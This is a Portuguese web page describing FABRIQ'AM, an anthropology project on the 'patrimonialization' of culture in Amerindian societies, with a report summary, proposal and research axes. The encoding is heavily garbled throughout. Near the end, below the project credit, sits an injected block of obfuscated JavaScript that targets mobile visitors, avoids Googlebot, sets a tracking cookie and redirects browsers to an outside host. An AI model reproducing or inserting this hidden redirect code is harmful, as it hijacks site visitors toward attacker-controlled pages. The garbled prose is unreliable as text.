FABRIQ’AM

A FA?brica de a�?patrimA?niosa�� nas sociedades amerA�ndias

RESUMO DO RELATA�RIO FINALA�:

PatrimonializaA�A?o e recomposiA�A?o de regime de saberes

Na AmA�rica latina, onde o multiculturalismo e a gestA?o das identidades indA�genas sA?o uma questA?o polA�tica importante a ponto de influenciar nos modos de governanA�a locais, as populaA�A�es indA�genas sA?o impelidas a exibirem caracterA�sticas A�tnicas ou culturais para se posicionarem dentro do quadro polA�tico nacional.
Para tanto, se para exercer sua cidadania as populaA�A�es amerA�ndias lanA�am mA?o de traA�os culturais que as caracterizariam, resulta desta interaA�A?o uma compreensA?o externa defasada, ou mesmo antinA?mica, de seus valores e de suas pessoas.
Por um lado, a relaA�A?o ao passado a ser inventariado, rememorado e reproduzido, segundo os modos de veiculaA�A?o institucionais, se distingue das concepA�A�es autA?ctones do que deve ser conservado ou esquecido, de suas formas prA?prias de transmissA?o de conhecimento e de saberes, assim como de seus modos prA?prios de historicidade.
Por outro lado, em um mundo globalizado, as formas de transmissA?o memoriais internas aos grupos amerA�ndios sA?o mobilizadas por muitos desses grupos como um recurso disponA�vel para obtenA�A?o de direitos, como forma de respaldo de uma identidade coletiva ou mesmo como suporte para elaboraA�A?o de novas formas de indianidade.
O projeto visava compreender como se exprimem e se articulam, para os amerA�ndios estudados, as formas subjetivas de sua relaA�A?o com a histA?ria e com o tempo, no que tange sua interface – e para alA�m dessa – com a sociedade hegemA?nica que lhes impA�e os termos de suas culturas.

Um aproximaA�A?o pela etnografia das experiA?ncias autA?ctones

Os pesquisadores reunidos neste projeto estavam hA? muito presentes e comprometidos em seus campos de pesquisa. Na maioria dos casos estes observaram a emergA?ncia do objeto a�?patrimA?nioa�� durante suas pesquisas.
Este fato lhes possibilitou propor uma perspectiva temporal das construA�A�es patrimoniais e desenvolver uma anA?lise contextual desses processos.
Mais de trinta estudos de caso foram realizados seguindo esta perspectiva processual e comparativa que aborda os processos de patrimonializaA�A?o a partir de um questionamento sobre as formas de transmissA?o memoriais e de saberes historicamente situados.
Estas pesquisas demonstraram como, e em quais contextos, diferentes dispositivos locais de ordem polA�tica, identitA?ria e relacional, intra e interculturais sA?o ativados para responder (ou nA?o) A�s polA�ticas patrimoniais.

Resultados

As anA?lises expuseram a capacidade reflexiva das sociedades estudadas, cuja cultura agora reconhecida tornou-se uma questA?o polA�tica e/ou econA?mica.
Adiciona-se-de forma simultA?nea porA�m geralmente diferenciada – A� lA?gica local sobre o que somos, uma lA?gica patrimonial sobre o que temos.
Nem culturalismo angelical, nem essencialismo estratA�gico, o estudo da patrimonializaA�A?o em meio amerA�ndio permitiu compreender o reinvestimento local no domA�nio da cultura enquanto questA?o social e polA�tica fundamental da modernidade.
O campo da patrimonializaA�A?o se manifestou como uma arena onde se expA�em, numa relaA�A?o de forA�a assimA�trica, visA�es ideolA?gicas distintas sobre a forma como as diferenA�as culturais devem ser afirmadas e reconhecidas e sobre o que constitui, em A?ltima instA?ncia, a diferenA�a.

Scientific ProduA�A?o cientA�fica

Os resultados desta pesquisa foram construA�dos ao longo de um processo iniciado pelo atelier de abertura – aberto ao pA?blico, seguido de um outro atelier de fechamento – interno ao grupo, de seis dias de apresentaA�A?o das pesquisas realizadas pelos membros do projeto, seguidos de 20 reuniA�es de trabalho sobre os eixos de pesquisa do programa.
Estas atividades coletivas produziram um total de 47 publicaA�A�es internacionais e 34 na FranA�a ( livros, nA?meros especiais de revista, artigos, capA�tulos de livro), 50 comunicaA�A�es internacionais e 175 comunicaA�A�es na FranA�a, trA?s colA?quios internacionais, quatro filmes (alguns em vias de finalizaA�A?o) e cinco conferA?ncias de divulgaA�A?o cientA�fica.

PROPOSTA INICIALA�:

Financiado pela Agence Nationale de la RechercheA�(ANR -AgA?ncia National de Pesquisa-), o projeto FABRIQa��AM reA?ne cerca de trinta antropA?logos em torno do tema da A�A�patrimonializaA�A?oA�A� na AmA�rica indA�gena.

Fabriqam-Carte

LocalizaA�A?o dos estudos de caso FABRIQa��AM

HA? alguns anos, a A�A�patrimonializaA�A?oA�A� de elementos culturais, materiais e imateriais, vA?m se tornando um dos meios pelos quais os povos amerA�ndios tA?m procurado obter maior visibilidade e reconhecimento. Atualmente, na maior parte dos paA�ses americanos, estes processos se dA?o em uma paisagem social e polA�tica marcada pelo multiculturalismo institucionalizado como uma forma de governanA�a.

Os fenA?menos de patrimonializaA�A?o cultural, amplamente estudados em outras regiA�es (sobretudo na AmA�rica do Norte), sA?o menos conhecidos nos espaA�os meso e sul-americanos e ainda menos no que diz respeito A�s sociedades amerA�ndias. Entre estes povos, as concepA�A�es do que deve ser lembrado ou esquecido, as maneiras de transmitir conhecimentos e saberes, bem como os modos de produzir historicidades parecem, com freqA?A?ncia, ir contra a prA?pria idA�ia de patrimonializaA�A?o, tal como entendida no mundo euro-centrado. AlA�m disso, ao acompanharem as mediaA�A�es e as formas de inculcar estes esquemas formulados fora das sociedades amerA�ndias, elas prA?prias tA?m transformado, atualmente, algumas de suas prA?ticas cotidianas em elementos de um patrimA?nio passA�vel de objetificaA�A?o, transmissA?o e conservaA�A?o. Tais procedimentos sA?o globalmente ligados a discursos que operam por meio da objetificaA�A?o, essencializaA�A?o e etnicizaA�A?o das culturas indA�genas.

As formas de transmissA?o memorial das sociedades amerA�ndias e outras minorias tem, assim, uma dupla dimensA?o. Por um lado, elas se constroem em matrizes culturais e sociais que lhe sA?o prA?prias. Por outro, e para muitos, elas sA?o, no seio de um mundo globalizado, investidas como recursos mobilizA?veis para fortalecer identidades coletivas, entre as quais as novas formas de indianidade. A anA?lise das configuraA�A�es patrimoniais que observamos em campo demandam, assim, a elucidaA�A?o destas formas de imposiA�A?o e adaptaA�A?o. Mas tambA�m demandam a compreensA?o das maneiras pelas quais os atores indA�genas sA?o capazes, por sua vez, de se apropriar de um direito para construir um discurso prA?prio sobre sua cultura, assim como de instituA�-la como uma fonte de afirmaA�A?o identitA?ria.

Para compreender as diversas declinaA�A�es dos processos de patrimonializaA�A?o cultural entre as, aproximadamente, trinta sociedades indA�genas estudadas neste projeto, a pesquisa serA? desenvolvida tendo por referA?ncia trA?s eixos de anA?lise complementares:

a�� os regimes de temporalidade, de historicidade e de saberes ;

a�� a A�A�fabricaA�A� dos patrimA?nios, sua construA�A?o social e seus usos polA�ticos ;

a�� as lA?gicas institucionais e as formas locais de governanA�a multicultural

Os cerca de trinta antropA?logos reunidos neste projeto estA?o engajados a longa data sobre as A?reas de campo estudadas, que compA�em uma vasta amostragem das situaA�A�es locais e das respostas diversas dadas aos processos globais de patrimonializaA�A?o cultural.

O projeto, decididamente comparativo, nA?o se propA�e a delinear uma tipologia das semelhanA�as e das diferenA�as entre as formas de construA�A?o do patrimA?nio, mas sim a comparar as representaA�A�es categoriais, os quadros, as relaA�A�es e os processos de construA�A?o de sentidos e de composiA�A�es dos discursos. Por meio do estudo da patrimonializaA�A?o cultural, tomada como reveladora dos jogos entre os atores, das estratA�gias de definiA�A?o de si e de construA�A?o do polA�tico, o desafio A� abordar dois fenA?menos intimamente associados. De uma parte, trata-se de apreender as modalidades de inserA�A?o das sociedades amerA�ndias na modernidade, bem como as suas prA?prias capacidades de incorporA?-la, ao desvelar as formas de co-habitaA�A?o e de composiA�A?o entre regimes de saberes e de historicidades gerados atravA�s da patrimonializaA�A?o. De outra parte, por meio da anA?lise destes processos, o projeto se propA�e a iluminar as gA?neses e os desenvolvimentos contemporA?neos das configuraA�A�es multiculturais que caracterizam os espaA�os polA�ticos das regiA�es meso e sul-americanas.

EIXOS DE ANA?LISE

A A�A�FA?BRICAA�A�A�DO PATRIMA�NIO : CONSTRUA�A�ES SOCIAIS, USOS POLA?TICOS

O que significa A�A�produzir o patrimA?nioA�A� ou A�A�tornar visA�vel sua culturaA�A� por meio da construA�A?o de formas diversas de museus, da espetacularizaA�A?o, da construA�A?o imagA�tica ou escrita, da construA�A?o de A�A�lugares de memA?riaA�A� e de monumentosA�?A�Estes processos nA?o sA?o apenas lugares de construA�A?o cultural, eles abarcam igualmente lA?gicas sobre si e sobre o outro, sA?o formas de objetificaA�A?o e espetacularizaA�A?o da cultura. Como, em um momento histA?rico dado, os atores indA�genas pensaram certos traA�os culturais como patrimA?nio e como produziram uma auto-imagem investida da relaA�A?o com outros grupos indA�genas e nA?o indA�genasA�?A�Neste eixo analisamos os efeitos destas operaA�A�es sobre a cultura de coletivos que sA?o, ao mesmo tempo, agentes e objetos. Discutimos a maneira como estas operaA�A�es remodelam as relaA�A�es sociais internas aos grupos e entre esses e seus A�A�exterioresA�A� : as comunidades indA�genas e seus vA?rios representantesA�; as instituiA�A�es que validam o status patrimonial e que provA�m, de algum modo, do Estado ou dos novos espaA�os globaisA�; e o conjunto de mediadores a�� entre eles os pesquisadores em campo.

LA�GICAS PATRIMONIAIS E DISPOSITIVOS INSTITUCIONAIS OU INTERNACIONAIS

O eixo A�A�LA?gicas patrimoniais e dispositivos institucionais nacionais e internacionais A�A� estuda a governanA�a do patrimA?nio por meio da investigaA�A?o de suas prA?ticas institucionais. As pesquisas se debruA�arA?o principalmente sobre a anA?lise da articulaA�A?o das normas globais -como aquelas estabelecidas pela Unesco-, com as estruturas burocrA?ticas, com as lA?gicas institucionais e com as formas de consultoria e perA�cia que existem atualmente na Guiana francesa, no Brasil amazA?nico e no MA�xico.A�Qual o impacto da A�A�global politiqueA�A� sobre as polA�ticas nacionais de patrimA?nioA�?A�Se o desenvolvimento das polA�ticas patrimoniais estA? historicamente associado A� criaA�A?o dos Estados nacionais, o patrimA?nio nA?o se restringe mais A� dimensA?o nacional, tendo se tornado um fato globalA�: hoje as polA�ticas patrimoniaisA� sA?o redefinidas em escala mundial e orquestradas por entidades supranacionais. Quais os efeitos de uma instituiA�A?o como a Unesco sobre as polA�ticas nacionais de patrimA?nioA�? Essa instituiA�A?o reforA�aria a A�A�unescoizaA�A?oA�A� de teorias e prA?ticas relativas ao patrimA?nio ou, pelo contrA?rio, haveriam estratA�gias por parte dos Estados de resistA?ncia A� uma certa homogeneizaA�A?o dos critA�rios deA�patrimonializaA�A?oA�e de seus procedimentos ?

REGIMES DE TEMPORALIDADE, DE HISTORICIDADE, DE SABERES

Compreender as formas atuais de fabricaA�A?o do patrimA?nio como processos que sA?o ao mesmo tempo emergentes e inscritos no seio de lA?gicas culturais implica uma compreensA?o fina das concepA�A�es de temporalidade,A� de histA?ria, de transmissA?o e daquilo que A� transmitido por uma dada cultura ou sociedade.A� Como essas concepA�A�es se configuram e sA?o configuradas pelos novos processos de patrimonializaA�A?o ?A�Tais questA�es serA?o analisadas a partir de uma variedade de prA?ticas que vA?o das relativas aos objetos e seus destinos A�quelas ligadas A� utilizaA�A?o dos espaA�os quotidianos e de memA?ria, que vA?o das prA?ticas discursivas – sejam essas narrativas, rituais, polA�ticas -, A�quelas sobre novas formas de expressA?o escrita, fA�lmica ou outra. Esta linha do projeto, que se debruA�arA? particularmente sobre o exame de discursos indA�genas a partir de uma perspectiva etnolinguA�stica (ou de antropologia lingA?A�stica) interacional e temporal, procura apreender tanto a variedade de estratA�gias, respostas, resistA?ncias e resiliA?ncias das sociedades amerA�ndias frente A�s mudanA�as culturais quanto realizar uma reflexA?o comparativa abrangente sobre esquemas de elaboraA�A?o da histA?ria, da conceptualizaA�A?o da aA�A?o, do eventoA� e de suas mA?ltiplas manifestaA�A�es que variam segundo os contextos A�s quais estA?o relacionadas. Cinco entradas analA�ticas, que se inter-relacionam, serA?o desenvolvidas : a) modelos e modalidades das construA�A�es da memA?ria, b) concepA�A�es locais de mudanA�a e evento, c) agentividade histA?rica, d) regimes de enunciaA�A?o e de transmissA?o de saberes, e) embasamento espacial e material da memA?ria.

FABRIQ’AMA�y ANR :A�agence-nationale-recherche

var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *